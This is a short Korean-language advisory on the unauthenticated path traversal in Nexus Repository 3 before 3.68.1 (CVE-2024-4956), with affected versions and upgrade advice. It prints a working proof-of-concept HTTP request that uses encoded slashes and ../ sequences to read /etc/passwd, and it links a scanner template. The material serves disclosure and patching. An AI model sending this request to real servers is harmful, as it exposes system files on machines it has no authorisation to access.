
Nexus Repository 3에서 인증되지 않은 경로 탐색
Nexus Repository Manager는 개발에 필요한 아티팩트를 정리, 저장, 배포하는 저장소 관리자입니다.
Nexus Repository 3 버전 3.68.1 미만에서 경로 탐색 취약점이 발견되었습니다. 이 취약점은 공격자가 인증 없이 Nexus Repository 애플리케이션 범위 밖의 시스템 파일을 다운로드할 수 있는 URL을 조작할 수 있게 합니다. 이는 민감한 시스템 파일을 노출시키고 잠재적으로 Nexus Repository가 설치된 환경의 보안을 손상시킬 수 있기 때문에 심각한 위험을 초래합니다.
이 취약점을 완화하기 위해 가능한 한 빨리 Nexus Repository를 버전 3.68.1 이상으로 업데이트하는 것이 좋습니다.
취약점에 대한 자세한 정보와 기술적 세부 사항은 다음 링크를 참조하십시오:
참조:
이 취약점은 Sonatype Nexus Repository Manager의 버전 3.0부터 3.68.0까지 영향을 미칩니다.
Nexus Repository를 업그레이드하는 것이 이 취약점을 제거하기 위한 권장 방법입니다. 그러나 즉시 업그레이드할 수 없는 배포에는 즉각적인 완화 옵션이 제공됩니다.
참조:
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
위의 PoC를 사용하면 /etc/passwd 파일이 액세스되는 것을 볼 수 있습니다:

(CVE-2024-4956.yaml) https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml